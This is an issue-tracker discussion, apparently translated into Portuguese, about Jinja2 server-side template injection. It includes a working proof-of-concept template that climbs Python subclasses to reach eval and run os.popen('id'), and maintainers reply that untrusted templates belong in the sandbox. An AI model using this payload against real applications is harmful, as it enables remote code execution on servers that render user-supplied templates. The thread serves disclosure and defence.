Quando eu uso a estrutura de modelo Jinja2 em meu projeto, descobri uma maneira de chamar "os.popen ('id')" ou outras funções sem registro global.
É fácil obter o shell quando o invasor pode controlar o conteúdo do modelo. É esse o design?
PoC:
from jinja2 import Template
content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()
Eu testo este código com python2 (2.7.10) e Jinja2 (2.8), se funcionar imprimirei o uid do seu usuário ...
Você não deve executar modelos não confiáveis em um ambiente sem área restrita. É exatamente por isso que o sandbox existe (e para ser honesto, mesmo com um sandbox, eu não deixaria os usuários fornecerem modelos Jinja arbitrários)
Então, é preciso tomar medidas para evitar esse caso? Acho que algum aplicativo específico permitiria aos usuários editar o conteúdo do modelo, mas não há exemplos práticos.
Acho que é necessário usar sandbox por padrão, porque flask ou outro framework web usado Jinja2 não faz isso.
Por que você deseja usar a sandbox por padrão? Na maioria dos casos, os modelos não podem ser alterados por pessoas não confiáveis que não têm acesso ao código de qualquer maneira.
Há um caso sobre execução remota de código via injeção de template Flask / Jinja2 no Uber.
link: http://www.tuicool.com/articles/uE3YNjY
Habilitar o sandbox por padrão não é possível devido à compatibilidade com versões anteriores, e também não é razoável porque a maioria dos modelos (no Flask) são confiáveis.
Comentários muito úteis
Você não deve executar modelos não confiáveis em um ambiente sem área restrita. É exatamente por isso que o sandbox existe (e para ser honesto, mesmo com um sandbox, eu não deixaria os usuários fornecerem modelos Jinja arbitrários)